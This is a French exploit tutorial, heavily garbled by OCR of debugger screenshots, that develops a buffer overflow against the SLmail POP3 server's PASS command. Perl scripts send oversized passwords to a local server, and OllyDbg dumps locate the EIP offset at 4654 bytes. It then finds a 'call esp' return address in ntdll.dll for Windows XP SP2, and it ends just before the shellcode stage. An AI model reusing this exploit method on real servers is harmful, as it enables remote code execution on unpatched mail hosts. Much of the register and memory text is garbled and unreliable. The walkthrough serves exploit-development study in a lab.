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1. Installation

Tout d’abord, nous installons SLmail et vérifions qu’il est bien lancé

-;ﬂ BYRP Software POP3 Server on Local Machine [tipi]

Uszers ] Options ] Spztem ] Connection kethod ] Routing Optiong ] Logging ] Timing ]
Aroess Cantral Abaut...

Stop

Pause

1k

(]:8 ] Annuler | ‘

Ensuite, nous analysons I’exploit existant qui porte sur la commande PASS. Commencons les encheres a
5000 caracteres.

Ecrivons un petit programme en Perl pour envoyer 5000 caracteres avec la commande PASS au serveur
POP3.

N’existerait-il pas un module exemple pour faire ¢a... ?

n¥ite de commandes - ppm

fHicrosoft Windows HP [version 5.1.2686]
¢G> Copyright 1985-28681 Hicroseoft Corp.

BC:-~Documents and Settings“~Administrateur>cd-

G =~ >ppm

#FrM — Programmer’s Package Manager version J.1.
BCopyright <(c? 2881 ActiveState Corp. A1l Rightsz Reszerved.
fActiveState iz a deviszion of Sophos.

BEntering interactive shell. Using Term::ReadLine::S5tub as readline library.
Type 'help’ to get started.

Bppm> zearch pop3d
f5earching in Active Repositories
1. Mail-POP3Client [2.15]1 Perl 5 module to talk to a POP3 <RFC1%3%>

Mail-POP3Client [2.14] Perl 5 module to talk to a POP3 <RFC1939%9)
Mail-POP3Client [2.15] Perl 5 module to talk to a POP3 <RFC123%9)
Met—FOP3_auth [B.83]1 POP3_AUTH wrapper for Met::FPOP3 <rfcl?34>
Met—FOP3_auth [B.83]1 POP3_AUTH wrapper for Met::POP3 <rfcl?34>
POE-Component—Clien™ [B.B82]1 Impliment a POP3 client POE component
POE—Component—Clien™ [B.82]1 <none>
POP3Client [2.9]1 Perl 5 module to talk to a POP3 <RFC1939>
install Mail-POP3IClient

Inztall *Mail-POP3IClient’' version 2.15 in ActivePerl 5.8.6.811.

Extracting 5-5: bhlibrsarch/auto-Mail-POP3IClient/.exists

Installing C:sPerl-htmlsszite~lib~Mail“POP3IClient.html

Installing C:s\Perlszite~xlib“Mail~POP3Client.pm

fSuccessfully installed Mail-POP3Client version 2.15 in ActivePerl 5.8.6_811.
Bppn> cB@lt




2. Exploitation

On analyse rapidement la documentation du module et en modifiant un peu I’exemple, nous obtenons :

#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable=""\x41"x5000;

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );
$pop2->User(**haxor™);

$pop2->Pass($ChaineDuDiable);

$pop2->Connect() >= 0 || die $pop2->Message();
$pop2->Close();

(SLmailKiller.pm)

On lance Ollydbg et on I’attache au processus qui nous intéresse (File>attach) sImail.exe. On clic sur play
pour lancer le processus...

On exécute notre programme perl, et boum ! :

nvite de commandes - perl SLmailKiller.pm

C:“Perlssite~libMail>dir
Le volume dans le lecteur C s'appelle SATAL
Le numéro de série du volume est C498-36D3

Répertoire de C:~Perlssite~lib~Mail

A4-81.-2885 14:85 <REFP> 4
B4.-81.-2885 14:85 <REP> o
19-18-.2883 Bi:12 43 388 POP3Client.pm
A4-81.-2885 14:88 264 SLmailKiller.pm
2 fichier<s> 43 564 octets
2 Rép<s> 26 641 188 BBA octets libres

C:sPerlszite~lib~Mail>per]l SLmailKiller.pm




DllyDbg - SLmail.exe - [CPU - thread 00000188] _ . == x|
File Wiew Debug Plugins Options ‘Window Help _|ﬁ||1|
Bl x| wn| b E Y =+ L|E[M|T[w/H[c|/|K|B[R]..[s] =[] ?]

o | Begizters (PRI B e e e e e e
—fEn oPBREEER
| 1 16z -~ = egal comman
ELI{ BISESEFD ASCIT "08/01704 14:16:17 P3-6001: Illessl d 81 ARARARARAAAAAAAAAAAAAAAAAAAAARARARAAAA
msucrt.
EEX
ESF R1Ed RS 1L " AARRAAARRRARRARAAARARARRAAAAAAAAAAAAAAAAAAAAAARARAARRARRRARRRRRRRARRAARRRARRRAAAAAR
4141414
ESI
EDI 1
EIF 41414141
C8 ES 8823 SEbit @l
F 1 C5 891E 32bit Bl
A1 55 BEED SEbit Bl
z B DF BEE3 SEbit @l T
51 FS 9838 3Ebit TFFAFBEE0
TB 5 oepe HULL
0 @ LastErr ERROR_SUCCESS (BOBGEEGE)
EFL @@@18296 (MO, NE,NE,A, 5, FE,L,LE
5T empty +UNORM BE@G 44E;
5T1 empty -LNORM A726
STZ empty —LNORM D4ES A B1SEDA
5T3 empty +UNORM @087
£T4 empty +UNORM 4158 SHTS0438 25203
STE empty +UNORM 658E &E SER4F
STE empty +UNORM 572 E4£48128 SDEFT2E
5T7 empty +UNORM ARG PEIFEF425 ER42E3
1 EsPUDZOL
FST 9988 Cond BB @R Err BO BB G BB G (GT)
FCW B27F Pres MEAR,53 Mask 111111
-
Address |Hex dumj - 4141414 -
BE4S0000] B0 G5 65 SimERtay BTl =

430068 06 55 SEALSE| A14idis

430016( 04 58 6 SERLSR, ity

430015( 73 £ 2 SRRl el

430 TE T SRl Ahabil

4300 EE & SERISE dlgiaid

42hase| EE o4 o8 SERLPa| dldldld [ |

430046 6E 65 &0 SEA17S) 4141414

430043 74 £1 72 BEHLTL) Alaial

430056 26 73 65 SERLBE) dhldidls

430053( 26 BA G sERlaa sl

430066( 26 73 7 SEiany Ahabii

4300E( 3 BA M il SR

430078| 5 €D EF HETLEG At

43007E( 26 28 28 SRR Hhalis

430020( 74 EF 28 SERIE skl

430023( 5 20 T4 DEHEAL) Alaidld

430096( 72 Fe 63 SERLRE, ity

430658 25 73 2 SERLAS) Aldldls

4300A| C EC B SEiany Ahabil

4300AZ( B0 26 2 i SR

4300EG| EE 73 74 HETR At

4Z0OES| £5 65 2 S b
fras gt n ol 22 el F1ZFOIEC] 4141414 &
Access violation when executing [41414141] - usze Shift+F7/F8/F3 to pass exception to program | | Pauzed

En haut & droite nous voyons nos registres. VVous pouvez observez la fenétre de log... toujours intéressante

(appuyez sur le bouton L).

Ok, EIP est réécrit. Trouvons a quel endroit exactement.

Nous modifions un peu notre script perl :

#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable=""\x41"x3000;
$ChaineDuDiable.=""\x42"x1000;

$ChaineDuDiable.

="\x43""x1000;

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );

$pop2->User(**haXor'™);
$pop2->Pass($ChaineDuDiable);

$pop2->Connect() >= 0 || die $pop2->Message();

$pop2->Close();

(SLmailKiller2.pm)

Et on le lance...




o In¥ite de commandes - perl sSLmailKillerz.pm

C:“PerlssitesxlibsMail>dir
Le volume dans le lecteur C s'appelle SATAL
Le numéro de série du volume est C498-36D3

Répertoire de C:“Perlusite~lib~Mail

481 -2085 14:8% <REP> .
B4-81-2885 14:85 <REF> "
19-18-2083 B1:12 43 388 POP3Client.pm
B4.-81 2085 14:-88% 264 SLmailKiller.pm
2 fichier(s) 43 564 octets
2 Répis>» 26 641 188 808 octets libres

C:sPerlusite~lib~Hail>perl SLmailKiller.pm
Terminating on signal SIGINT<2}

C:wPerlussitexlibvMail>dir
Le volume dans le lecteur C s='appelle SATAL
Le numéro de série du volume est C498-36D3

Répertoire de C:s\Perliusite~lib“Mail

B4-81-2085 14:19% <REP > .
B4.-81 2085 14:19 <REP> e
19-18-2883 B1:12 43 388 PFOP3IClient.pm
4812085 14:88 264 SLmailKiller.pm
B4.-81-2885 14:28 326 SLmailKiller2.pm
3 fichierd(s) 43 898 octets
2 Répis>» 26 648 736 256 octets libres

C:sPerlssite~xlib~Mail>perl SLmailKillerZ.pm

DllyDbg - SLmail.exe - [CPU - thread 000009F0] = ]ﬁ' 1_2(_]
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Maintenant I’on voit qu’il est réécrit avec des C, cela doit donc arriver entre 4000 et 5000 caracteres... Nous

continuons la procédure.

#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable=""\x41"x4000;
$ChaineDuDiable.=""\x42"x200;
$ChaineDuDiable.="\x43"x200;
$ChaineDuDiable.="\x44"x200;
$ChaineDuDiable.="\x45"x200;
$ChaineDuDiable.="\x46""x200;

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );

$pop2->User(**haXor™);

$pop2->Pass($ChaineDuDiable);

$pop2->Connect() >= 0 || die $pop2->Message();

$pop2->Close();

(SLmailKiller3.pm)

OllyDbg - SLmail.exe - [CPU - thread 000004A4] =l=ix]

|§| File Wiew Debug FPlugins ©Options ‘Window Help -|ﬁ'|1|
B x| ] w+ 1 A =+ L]E[m|T|w|H]c|/|&[B|R][-]s] =[E]?
4 |Registers (FPU) < < < % < < < % < < < % <
ER’ GREEEEEE
N Eci B19ESEFS® ASCII "GE-G1-64 14:26:34 P3-0861: Illesal command &0
Eg§ FPC31B78 mswort.7rCalBvE
ESP B19EAIS4 ASCII "EE E
EEP
ESI
EDI 1
EIP 45454545
C 8 ES @823 32bit B(F FF)
P 1 C5 261B 32bit @[ FF)
A1 S5 @23 32bit B[ ]
2 @ DS 9623 32bit B(FFFFFEFE)
S$1 F5 E 32bit PFFAE@SELFFF)
5 3 G5 @868 HULL
0 @ LastErr ERROR_SUCCESS (S08G0HEE)
EFL B@@18296 (MO,ME,NE,A, S, PE,L,LE]
STE empty +UNORM 8219 EF954 @B44E3E4
ST1 empty -UNORM R27E 4 5 FCIZIEFF
ST2 empty -LUNORM D4ES A B15ED4ER
ST3 empty +UNORM BBGA G1GEF25a
ST4 empty +UNORM 4128 3A7S3429 25203358
STS empty +UNMORM 6SEE SEEFG3ZI 4FSE
ST empty +UNORM 572 E4646129 EDEFTZES
ST? empty +UNORM B854 ZE2EE4EE PEE42EZE
32 ESPUOZDI
FST @823 Cond @ @ 6@ Err @0 G G 88 @ (GT)
FCW 827F Prec NEAR,5% Hask 1 1=
-
AoA54545
& 24 o1cEniSe b
4 SEALSC
¥ SER1EE
4 SEALE
4 SEALES
: e
4
3EAL74| 4E4E4E4E
s SEALTE| 45454545 -
4 SEALTC| 45454545
4 SEA12G| 45454545
d SEA1S4| 45454545
4 SEALSS| 45454545
4 SEA1SC| 45454545
4 SEA19G| 45454545
; SERI%3| d2dmiEie
430828| 74 6F 28 72|65 60 6F 76|to remou
430633| 65 28 74 636G 2@ 73 65|e the se ZECLAL) et
430@98| 72 76 62 63|65 BA B8 B3| ruvice... SERiRa| aEaeaeae
430@33| 26 73 28 €9/ 6E 73 74 61fHs insta SERina| 4cacdmds
430@A3| 6C 6C 2@ EB|61 75 74 oF L1 [auto SEALRC| AEABAEAE
4300AZ| S0 26 2@ 28|74 6F 28 59 to i 2ER1Es| AE4eaca
430@B3| GE 73 74 61| 6C 6C 20 74|nstall ¢ 2ER1Be| acaeacae
430@B3| 68 66 280 73|ES 72 75 69| he servi SERiDa| 4c4cdmas
v -
Bo430000| €3 €5 20 &1 CF 64 20 73| and s SERIED| 4242434%
Access violation when executing [45454545] - uze Shift+F7/F8/F3 to pass exception to program | | Paused

On a maintenant des E ; c’est donc entre 4600 et 4800...

Utilisons notre calculatrice scientifique. Notre ESP pointe sur 0199A154, et nos E commencent a
0199A11C, cela fait une différence de 38 en hexa, ce qui fait donc 56 en décimal.

Tentons un dernier essai...




#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable=""\x41"x4652;
$ChaineDuDiable.=""\x42"x4;
$ChaineDuDiable.=""\x43"x4;
$ChaineDuDiable.=""\x44"x4;
$ChaineDuDiable.=""\x45"x4;
$ChaineDuDiable.="\x46""x4;

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );
$pop2->User(**haXor™);
$pop2->Pass($ChaineDuDiable);
$pop2->Connect() >= 0 || die $pop2->Message();
$pop2->Close();

(SLmailKiller4.pm)

OllyDhg - SLmail.exe - [CPU - thread 00000C6C] = |EI|5|
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Bl x| wn| w4 ¥ Y =+ LIE[M[T|WH|[c|/|K[B[R|..|S] iZ[HH]?]
& | Registers [FFLI < < < 4 < < <
= R
T MEcH G1SESEFG ASCIT ™05 G1-84 14:28:48 P3-BE01: 1llegal command B0ARAAARAAAA
EDH TPCE1B7E movort.TrCElETS
EEH BEgmamGd
<0 ESF @13EA154 ASCIT UCCODOOEEEEFFFFI in state E°
EEF 42424141
E5l BEnme&od
E0D GooE&mE1
EIF 43434242
Address [Hen dump ASCII i 44444343 -
BO4S0060| B0 05 G0 06 G5 D0 05 G0] aeeese.. e
M SRS | L el (L S TR e s B19EALEE| 2BE94646| ASCIT "eyfocwsed MEC/Econtentalian: focusrect; HHEau
BE4S0G16| 64 GO BB G0 6F T2 2B TT|#.. .00 W BliERIon loacoanan
BE430618| 73 65 26 74|65 65 28 T3|=e the = R ek
BR430820| 65 72 76 69 63 65 20 &0|ervice m HioEelGe) | Eeranind
ol el e g Ao L e B o B B15EALTA| BLSECFLC|ASCIT "HARANARACARACARACARACAAACARACARRCARRCARACARAGA
BE4S0658| GE 26 74 E6|6E 23 £3 &F|n the oo BLIERLZR) glvEChlD
BE430655( 6E 74 TE GF|6C 28 7H &1|ntrol pa LoRRlsd) o rRtEd
BE450648| EE 65 6C 28|74 EF 28 T3|nel to = BISERATS) |[ouiatEad lii]
BE430645( 74 £1 TZ 74|28 74 63 6E|rart the GLEERIre) |acpanuny
ol I AR s e
----- net i
BE4308E6| 56 73 74 61|72 74 28 25| start X eny o s Ay =k Ly o daen
L e R B B19EAL 56| | 7C3E297E| RETURN to ntdll.7C922975 from ntdll.RtlImageDirectory
B15EALSE || BEdEE6EE| Simai | . DEdEEEGE
BE4S067E| 26 26 26 20|20 20 26 29 LR o) | caedaee
BE4S0656| 74 EF 26 72|65 E0 EF v6|to remow B1oERL 23 | euooaa]
e e s e e e e B19EALRE|| FCIE29ES| RETURN to ntdll. FC9229E9 from nedll. FooL1EER:
BE4S0058| 75 76 69 £5| 65 BO B GB|rvice... aloeaiam | cLacesbs
BE430658( 25 73 26 65| 6E T3 T4 61|Hs insta g ER | sk
@R430808| 60 6C 29 5B 61 75 74 &F| L1 [auto L B o
Sl sl e e el b e i e e19EALEE|| Poo26833 RETURN to nedll. FE928E3S from ntdll. FoOL1EERR
BE4S00EE| GE 73 T4 £1) EC BC 28 T4|nerall t BLIEALER) | pcosdiog
BE4S0EES| 65 65 28 T3 65 T2 TE £9|he serwi Lo e |
BE4506CE| 65 65 20 61| GE 64 26 T5|ce and = B1OERLES) | SRBBLAR e
BE4308CS| 74 61 T2 74|28 &1 75 74| tart aut aioenice|| AR4ARAFA| ASCIT FPET
BE4S0006| 6F 60 61 74| 65 65 61 6C|omatical aloEaloe | vospaarg
BE4S0E05| 6C 79 B GE| 25 73 28 SE| ly..ns U SIERILR | aopnaan
BE4S00EE| 65 72 TS E9|6F 6E 20 2C|ercion ¥ L e B
BE430PES| 72 B ©A B8[3F 99 B8 BB|=...7... aiaenica| | a1oeRacn RSkt
BE4S00FE| 65 B0 B0 GB| T2 65 B0 &F|h...reme BLIEALDR) Rl SEAZEE
DRasnoEalZs 23 22 22| 7T £8 &7 fE|us.-upar ¥ o15en105| | 6rdnna0a| SLmai L. Ba4aa008 ¥
|.-'1'u:|:ess wialation when executing [43434242] - use Shift+F7/FB/FD ta paszs exception to program | | Faused
_

Hey hey !

On s’arréte donc ici :
EIP 43434242

Donc... ca fait 4654 caractéres... avant que I’on réécrive EIP. Cool... mais on se fiche un peu de faire des A
et des B. Nous ce qu’on veut c’est un shellcode, non ?




Ok, si on lance notre shellcode en ESP et qu’on réécrit EIP avec un jmp esp, on devrait étre bon.
Comment donc va-t-on faire un jmp esp ? En fait, c’est simple : il y a plein de DLLs en mémoire qui doivent
avoir une adresse de jmp esp. Regardons voir... appuyer sur le bouton E dans olly.

OllyDbg - SLmail.exe .
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[Ecru- thread ODDOOCEC
I3 Executable modules i
Base Size Entry Hare File wersion Fath
HEZ2AREA| AREE9ERE | AR223CH] | EvcptHnd] 1.1 Ce =W INOOWS sy st emz22~ErcptHnd. dl L
BE228660| B8E2A0EE | B824202F | ARM 1.8 C:~Program Files~SLmail~ARM.dLL
BOZEEE00| Baa1FBEE| BB37137F | Antares 1.1 Ci~WINDOWS sy stem3z~Antares.dl L
BE4EREEN | ARASCEEE | B84 390AE | SLmail E.1 C:~Program Files~SLlmail~Slmail.eqe
10BaE8a00| 88a07eeE | 180682115| dpenc32 |4, 3, A, Ci~WIMNDOWS sy stem3z~0penc32.dl L
ZHEEEENE | BE20RBEE HpspEres| S l. 2688, 2188 0 Cr~WINDOWS~systemd2-~Hpsp2res.dl L
ECBEEBEE0| BRE9TEEE | ESREI20A| COMCTLEZ| E.82 (dpsp_spZ_j Ci~WIHDOWS sy stem32~COMCTLI2.dL L
SF4@8860| aaarF4008| SF433FCE| SLHFC . BE. SE5S. B C:~WINDOWS sy stem32~SLMFC. OLL
5107880A| BRARNERAA MFC42L0C| 6. 8A. 8665, A C:~WINDOWS~system32~MFC42L0C. OLL
G2E48800| 88859088 | S2EFTAS] | hnetcfg |5.1.26680. 2188 (i C:~WINDOWS-systen32~hnetcfa.dll
T1298800| aaa4a088| 71931400 | mswsock | 5. 1.2680. 2188 (f C:~WINDOWS systen32~mswsock .dL L
712088060 | 88802688 | 7190142E | wshtcpip| 5. 1.2680. 2188 (f Cy~WINDOWS~5ysten32~wshtopip.dll
T19EREER | BEAEIAEE| F1FEL1E42 | WSZHELP |S.1.2688.2188 (f Ci~WNINDOWS~system3E~WSEHELF.ALL
F19FBERA| ARAL7RRA| F19F1273| WS2_32 5.1.26600. 2180 [ C:~WINDOWS system32~W52_32.dLL
roEl8800| aaas5eea | YRl 1312 MSUCPEE | 6.02.31604.8 Ci~WINDOWS sy stem3Z~MSUCPEE. dL L
TE348800| 88a4A008 | TE341AES | comd L9332 | 6.08. 2900, 2180 | C:~WIHDOWS~systen3Z~comdlag2.dL L
FEISHERE | BREABSEEE | FEIE1504 | vsereny (E.1.2688.2188 (f Cr~WNIMDOWS~system32~userenw.dll
FECAEEEER | BEA23EEE | PEC4 1260 | IMAGEHLP | 5. 1.2688. 2188 (f C:r~NINDOWS~system3E~IMAGEHLF.ALL
FEEDRREE| ARAZFARA | FEEDZS36E | OMSAF T E.1.26688. 2188 () Cr~WINDOWS system32~0MSARI.ALL
FEF1BEEE BEE20EEE | FEF11138| WLDAP32 |E.1.2688.2188 (f Cr~WNIMDOWS~system32~WLOAPEZ2.dLL
TEFEEE00| Baanse8a| TeF&1 150 winrnr 5.1.260@, 2180 [ C:~MINDOWS-System32~winrnr.dllL
FEF7EE00| B8805E0E| FEF7142B | rasadh lp| 5. 1.2680,. 2188 (¢ Ce~WINDOWS~system32~rasadh lp.dll
FEFSEEEE| BEATFEEE | FEFS3064 | CLBCATR | 2881.12.4414. 25 Co~WNINDOWS~system32~CLECATR. DLL
TrEgEEE0 | Baan4BEE | v 7EE 1855 | COMRes Z20E1. 12, 4414, 25 C:~WINDOWS sy stem32~COMRes. . dL L
FrEEBEn0n| @88SCHEE | FFRELISES| OLEAUT2Z| 5. 1. 26680, 2188 Ci~WIMNDOWS~system32~0LEAUTZ2. 1L
Fr9EEEE| BEla2aaE | FRI42ES | comct L_1| 6.8 (dpsp_sp2_r] Ci~WINDOWS~WinSHS~u8e_Microsof t. Windows. Common—Controls_&S595bédlddoof 1df_6. 8. 2¢
Fr4A8aEnR| AE13CARA| F74B2AC] | ole32 5.1.26600. 2180 (i C:~WINDOWS system32~ale32.d11
FrEOBEEE | Baaadaaa | PPEO1 135 UERSION |S.1.2688.2188 (f Ci~WNINDOWS~system32~LUERSION.ALL
TrEEBB00| BAA5SE8E| TTEEFZAL | msvort T.8. 266808, 2188 (3 C:~WINDOWS~system32~msuvcrt.dll
FrOl8800| 88890088 | 7 7O2E8EED | USER3Z 5.1.2600.2180 [ C:~WNINDOWS system32~USERS2.dLL
FrORBEEE | BRAACEEE | PPOATEDS | ADVAPISZ | 5. 1.2688. 2188 (f Ci~WNINDOWS~system3E~AOVARPISE.ALL

b 7 FESHARA| BARY1AAR | YYESE254 | RPCRET4 E.1.26688. 2188 (1 C:~WINDOWS system3Z2~RPCRT4.dLL

=== vrEFBBEEE BEA4EEE8 FPEFE3CA| GOI32 E.1.2600, 2188 ([ C:~WINDOWS systen32~G0I22.d11
TrE4BEEE| BRATEAAA | TYF4S103 | SHLWAPI |&.88.2988.2188 | Ci~WNINDOWS~system3Z~SHLWAFPI.ALL
FLEEEEEE BEla4a88 | FCIEE43E6| kerne 132| 5. 1.2688. 2188 (f Cr~WNINDOWS~system32~kerne 122, dL1
rC21868060| B88ETEEE | FC23156 | ntdl L 5.1.26600, 2180 (i C:~WINDOWS systen32~ntdll.dlL
FCP0REEA| ARZ220AE | FCIEFALR| SHELL2Z | 6.80. 2986, 2188 | Cr~WINDOWS~system32~5HELL32.d1 L

|.l'-‘u:|:ess violation when executing [43434242] - uge Shift+F 7/F2/F3 to pass exception o program |

| Paused

Iy a plein de modules pour nous, essayons avec arm.dll ; double-cliquez dessus.
Ensuite, faites un clic droit sur la premiere ligne et faites un « search for>command »
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B 1 FEE HOL ERR, DWORD. FTR - e
BEZS1EES RETH Backup =
BES51EEE HOL ER, ARM. 88345
BEZS1B6E RETH Copy Fl =
GEZZ1G6C| B9 TOBE3400 MOL ECH, ARM. 85346 . dll
cooigil) £n Dromoep (oh L bnnnoosion] ¢ i
GEZZ161E| ES BS1AG19E CALL ARM.oB34zA0s  Assemble Space L. etie
BEZZiBza| 59 FOF ECH Label Jy
BEZE1EZL| CF RETH dLL
BEZZ1822 HOW ECH, ARM. BE34B ot . dil
GEZE1E2T | vES DR0REE0E JrF ARH, BE331620 ' -
GEIZIGZC(vED 2917E166 JMP CJMPLSSLMFC.# Breskpoint * oLL
Boiaioas| BEFL Ho E5T, Ecx 10
: >

GEZE1E54) &R @@ FUSH @ RUneE dlLl
GEZZ1AZ6| ES A118@168 CALL <JMP.2SLMFC.: dlL
GEZ2162E| CPEE 48543488 MOV DWORD PTR 0S:  Mew origin here Chrl+iaray * ;
BEZZ1641 MOU ERY, ESI Jx
BEZS1E43 FOP ESI Go ko > dil
BEZE1E44 RETH HLl
BEZZ1E45 FOSH ESI Thread » dll
BESS1E46| SBF1L ol ESI, ECK : L
GEZ2104%| ES OFFFFFFE CALL ARA.Gazziezc  Follow in Dump r dll
GESS1040| Feddsd @5 @1 TEST EWTE FTR 5351 L,
SS%%SEE "Eg ol EIESEHEE}- HEN- e o5 'ch Far 3 Mame (label) in current module  Cer+M
Ssggiggg Eg ES170108 EEH‘E&”P' &SLMFC.: Eind references to 3 Mame in all modules
BESS1ESE| SECE MOU ERY, ESI Winin -
863310850 SE poe ESI Cornmand Crrl+F
GEZZIEEE| CF 0468 RETH 4 Copy to executable »
28331851 56 FUSH ESI : Sequence of commands Chrl+35
BESS1EEZ| SBFL MO ESI,ECH analysis »
GEZ21664| BE ZEETI408 HOU EAX, ARM. BE34E Conskant

! L L Bookmark. k Binary string Chrl+EB

TLEPEEEE| B8] B4ARE | TCEEEYSE | kerne L 32 F
FCO10006| AERETREA| FLOEE15E | ntdl L 5 Appearance I e Al s

Aobedlddoof 1df_6.8. 2¢

I [Paused

=101 ]

Slx| wlu| wi JJﬂ ] HHJJJJJJJJJﬂJ =]

[= cru - thread 000D0OCEC, n

BESS186E] HI rocoodnn FOU R, DUORD FTR T05: RSl TFE. Fae7 40T

GEZ31EE5| C3 RETH flamd 1| |
AASE1066| BS ABSSS4ER MY ER, ARM. BES453AE

GEZ3186E| C3 RETH —
GEZ31660| B9 TREBGI4REA (oL ECi, ARM. BAS4EETE dll
GE221811| ER IEOASEEE CALL ARM.BE3210831 L
GEZ21016| €3 22183360 PUSH ARM. 88331622 L
FEZ2181E| ES ES1AGLEA CALL ARM.BE342A05 L.ene
BEZZ1R26| 59 POF ECH LL
Ga33lezl| C3 RETH dLl
GEZ216022| B9 FARS340E MOW ECH, ARM. BAZ4EETE dil
LG S e —

i - Find comman X
po331020|vED A Find command X
AE331832| SBF1 MOU ESI,ECH
an3216834| &R 69 PUSH @ |imp espl =]
GEZE1E36| ES B11g8168 CALL <uJMP. %501
GEZ3183E| Cree HOU DWORD PTR
GE331641| SBCE HOU EA, EST
Bhoaindd| oo RETH W Eni : |

*;
st I eIl ntire block Find Cancel
GEZE1E4E| SBF1 MOL EST, ECH
@E331845| ES DFFFFFFE CALL ARM. PE33162C It
GE331840| FE4d424 82 Bl TEST BYTE PTR S5:[ESP+81,1 Ll
AEZZ1652[+74 B JE_SHORT ARM.@E833185E dll
AEZZ1054| G& FlSH ESI ILL
GE331855| EG ESiFeiea CALL <JMP. &SLMFC, #8253 1L
GEZ3185A| 59 POF ECH dll
GEZ3185E| SBCE HOU ER, ESI bf
@E331850| SE FOF ESI L
BEZZIGEE| G2 B4@E RETH 4 Ll
GEZE1ESL| 56 FUSH ESI LL
AEZZ1062| SBFL MOU ESI, 1L
AEssiged) BE SOETI4AE HOL ERX, an ARZI4ETIE = ?ll

Cz~WINDOWNS s stemI32~ntd

7Co0RREA| BBS22008| FCOEFALR| SHELLSZ | 6. @0, 2908, 2198 | C: =WIMDOWS sy stem32~SHELL 32,

Ci I THDOWE 20 21 em32k etne | 32

LL.

L
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|ﬂccess violation when executing [43434242] - uze Shift+F 7 /F8/FS to pazs exception to program

| | Pauszed

Pas de chance...

on peut aussi utiliser « call esp » :
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CRUES

BEZ4EAZ2
BEZ4EH3S
BEZ4EAIC
BE348R30
BEZ4BAZE
BES4EAZF
BE246041
BES4ER43
BE24ER44
BES4ER4E
BE24ER42
BES4ER4T
BEZ4BASZ
BES4EATS
BEZ4EA%4
BES4EHTS
BEZ4BAST
BES4BASE
BEZ4BASA
BES4EASC
BEZ4BASF
BES4ERLE
BEZ4EALE
BES4EH5A
BEZ4EHEE
BEZ4BRE0
BEZ4EATE
BES4EHTS
BEZ4EA7 S
BES4EATS
BEZ4EATS
BEZ48H70
BEZ4EATE
BES4ERZE
BEZ4ER22

LN

DOi1cz4

E2 14628860
DCE|

232C4 BC
OC15 ES633468

AL, AL
JMP SAORT ARM. BEZ4BAZC
FPLUSH EEF
HMou EEP, ESF
SUE ESP,2C
FLO GWORD PTR SS5:[EBP+1&]
FCOMP_RWORD PTR DS: [3463ES]
PUSH EBX
PUSH ESI
PUSH EDI
FSTSW AX

SAHF
JHME SHORT ARM. BB348R5F
FLO1

FSTF GWORD PTR_S55: [EEF+1&]
FLO GWORD PTR SS5: [EBP+1&]
FCOMP QWORD PTR DS: [3463E8]
FSTSW AX

SAHF

JBE SHORT ARM. BE24BAAF
PUSH DWORD PTR_SS: [EEF+C]
FLO GWORD PTR 55:[EBP+181
PUSH ECH

PUSH ECK

FSTF GQWORD PTR SS: [ESF]
CALL ARM.B@z48C91

=]

=10l x|

CALL ESP
éHULEE?I.DMDHD FTR DS: [EAR+ERX], 1EB007Z

L BC
FCOM BWORD FTR DS:[S469ES]
FSTEW AX

i \wIHDDwS\SystENSE\kernel
& Cz~WINDOWS~sustem32~ntdll.
FCO0E0EE| BESZ2606 | FCIEFA16| SHELLSE | 6. 88, 2986, 2136 | C ~WIHOOWS swstem32~SHELLSZ.

e[ m ] wl ] c[ 7] £ B]R[-5] E[E?]
8P —thread o0000C6C modleARM_____ L

FFD%
g33460 Fn0EER]

Ll

Mindows. Common—Controls_E595bEdlddocf 1df_6.6. 2¢

|.-'1'u:|:ess violation when executing [43434242] - use Shift+F7/F8/F9 to pass exception to program

00340A33

FFD4

CALL ESP

| | Paused

@ en z€ro, on ne peut pas prendre cela, cela terminerait notre chaine.

On essaie avec un autre module : ntdll.dll
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=10l =

S x| »n| s L

2| »| LlE|M|T|wH|c|/s|K[B|R|..|5] i

TC924593
TCo24308
TC92429:
7Lo24397
TCo24299
TCe24290

7Co24398
TCe24590
TCo24320E
TCY2429F
FCo24308
TCo242A1
TC924202
7C9243R8
TCY243A0
TCoaz242E1
TC9242e2
FC9243BE
TCoaz243ac]
TCY24204
TCo24306
TCA24509
TCoaz430C
TC9242CE
vCo24304
TCo243209
YCe24200
7C9243E6
TCY245ES
TCo2432EE
TCY242ED
TC9243F3
TCA243FE
TC9242F3
7Lo243FF

FEO4

3 22449270
EB 1SHAFFEF
C&d45 EV @6
C74E EB BEa1aac
E4: A1 12860668

~BFEE ECCFEREE
ES 44CEFFFF
CE4E E7 o1

E4C19870
ICa25000

4z
11@@29@9@

CPU - thread 00000C6C, module nkdll _

;IEI_I_

CHLL ESF

XCHG ERi, ESP
JL?SHDRT ntdll.PCo24376

WCHG EAK, ESF
SHORT ntdl L. PC924320

FLIEH =24

PUSH ntdll.7Co24422

CALL ntdll.7C21EDCE

oL BYTE PTR S5: [EBF-191.@

CWORD PTR SS:[EEP- EB] Caaaaios
ERX, DWORD PTRE FS:[12]

EER, DWORD PTR DS: [ERK+2E]
CWORD PTR S5:[EEBP-2C1,EBEX
EDI,EDI

CWORD PTR 55:[EEP-41,EDI

ESI,DWORD FPTR 55: [EEF+E1]

ESI,EDI

JHE ntdll. 70921320

CALL ntdll.Rt lAcquirePeblock

HDU EYTE PTR SS [EBP 191,1
MOL EA, OWORD R D5:[EB:T1m]

MO EST, OWORD PTR 05: CEAR+48]

HOU DWORD FTR 55:[EBF— 241,E51

@ CHP ENMTE FTR DS:[?C98C154],B

JE ntdll. Co24e0F

MO EAX, OWORD PTR OS: [EBX+1@]
CHP ESI,DWORD FTR DS:[EAX+42]
JHME ntdll. 7C92420F

PUSH 1

Unknown comma

Unknown comma

|

l__

FLODEEEE| BRS22080| FCIEFALE | SHELLSZ

. B8, 2900, 2108

PP (LY LLP~LL~ LLLL L™ LLLL

Lamhad = =

|_._.—.—

—L———

e

L
Ll

E:\wIHDDMS\systEMSE\SHELLSE.dll
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Access violation when executing [43434242] - use Shift+F7/FB/F3 to pazs exception bo program

| | Fauzed
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7C924393 FFD4 CALL ESP
(NB : c’est 7C914393 sur un XP SP2 ENG)

Ok, on se le fait cet exploit ?

) payload Information - Mozilla Firefox i iy o ] 1|
